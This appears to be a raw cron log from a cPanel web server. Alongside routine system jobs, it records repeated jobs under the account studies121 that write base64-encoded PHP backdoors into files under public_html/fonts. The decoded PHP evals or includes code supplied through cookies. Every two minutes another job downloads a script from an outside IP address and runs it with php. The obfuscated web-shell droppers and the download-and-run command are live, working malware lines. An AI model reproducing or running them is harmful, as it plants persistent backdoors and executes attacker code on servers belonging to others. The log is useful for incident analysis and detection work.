Sep 10 18:28:01 ip-184-168-122-23 CROND[22498]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:28:01 ip-184-168-122-23 CROND[22502]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 18:29:01 ip-184-168-122-23 CROND[22600]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 18:29:01 ip-184-168-122-23 CROND[22601]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:29:01 ip-184-168-122-23 CROND[22603]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 18:29:01 ip-184-168-122-23 CROND[22604]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:30:01 ip-184-168-122-23 CROND[22768]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 18:30:01 ip-184-168-122-23 CROND[22770]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 18:30:01 ip-184-168-122-23 CROND[22773]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 18:30:01 ip-184-168-122-23 CROND[22776]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 18:30:01 ip-184-168-122-23 CROND[22779]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:30:01 ip-184-168-122-23 CROND[22777]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:30:01 ip-184-168-122-23 CROND[22780]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 18:30:01 ip-184-168-122-23 CROND[22775]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 18:31:01 ip-184-168-122-23 CROND[22880]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:31:01 ip-184-168-122-23 CROND[22882]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 18:31:01 ip-184-168-122-23 CROND[22885]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:31:01 ip-184-168-122-23 CROND[22886]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 18:31:01 ip-184-168-122-23 CROND[22887]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 18:32:01 ip-184-168-122-23 CROND[22984]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:32:01 ip-184-168-122-23 CROND[22982]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 18:32:01 ip-184-168-122-23 CROND[22983]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 18:32:01 ip-184-168-122-23 CROND[22985]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 18:32:01 ip-184-168-122-23 CROND[22986]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:33:01 ip-184-168-122-23 CROND[23073]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 18:33:01 ip-184-168-122-23 CROND[23076]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 18:33:01 ip-184-168-122-23 CROND[23080]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:33:01 ip-184-168-122-23 CROND[23081]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:34:02 ip-184-168-122-23 CROND[23172]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 18:34:02 ip-184-168-122-23 CROND[23174]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:34:02 ip-184-168-122-23 CROND[23176]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:34:02 ip-184-168-122-23 CROND[23175]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 18:34:02 ip-184-168-122-23 CROND[23177]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 18:35:01 ip-184-168-122-23 CROND[23406]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 18:35:01 ip-184-168-122-23 CROND[23409]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 18:35:01 ip-184-168-122-23 CROND[23413]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:35:01 ip-184-168-122-23 CROND[23411]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 18:35:01 ip-184-168-122-23 CROND[23415]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 10 18:35:01 ip-184-168-122-23 CROND[23414]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 18:35:01 ip-184-168-122-23 CROND[23416]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 18:35:01 ip-184-168-122-23 CROND[23417]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:36:01 ip-184-168-122-23 CROND[23570]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 18:36:01 ip-184-168-122-23 CROND[23569]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:36:01 ip-184-168-122-23 CROND[23572]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 18:36:01 ip-184-168-122-23 CROND[23577]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 18:36:01 ip-184-168-122-23 CROND[23576]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:37:01 ip-184-168-122-23 CROND[23681]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 18:37:01 ip-184-168-122-23 CROND[23683]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:37:01 ip-184-168-122-23 CROND[23685]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:37:01 ip-184-168-122-23 CROND[23684]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 18:38:01 ip-184-168-122-23 CROND[23769]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 18:38:01 ip-184-168-122-23 CROND[23770]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:38:01 ip-184-168-122-23 CROND[23772]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:38:01 ip-184-168-122-23 CROND[23771]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 18:38:01 ip-184-168-122-23 CROND[23773]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 18:39:01 ip-184-168-122-23 CROND[23878]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 18:39:01 ip-184-168-122-23 CROND[23881]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 18:39:01 ip-184-168-122-23 CROND[23882]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 18:39:01 ip-184-168-122-23 CROND[23880]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:39:01 ip-184-168-122-23 CROND[23883]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:40:02 ip-184-168-122-23 CROND[23982]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 18:40:02 ip-184-168-122-23 CROND[23985]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 18:40:02 ip-184-168-122-23 CROND[23987]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:40:02 ip-184-168-122-23 CROND[23990]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 18:40:02 ip-184-168-122-23 CROND[23992]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 18:40:02 ip-184-168-122-23 CROND[23993]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:40:02 ip-184-168-122-23 CROND[23988]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
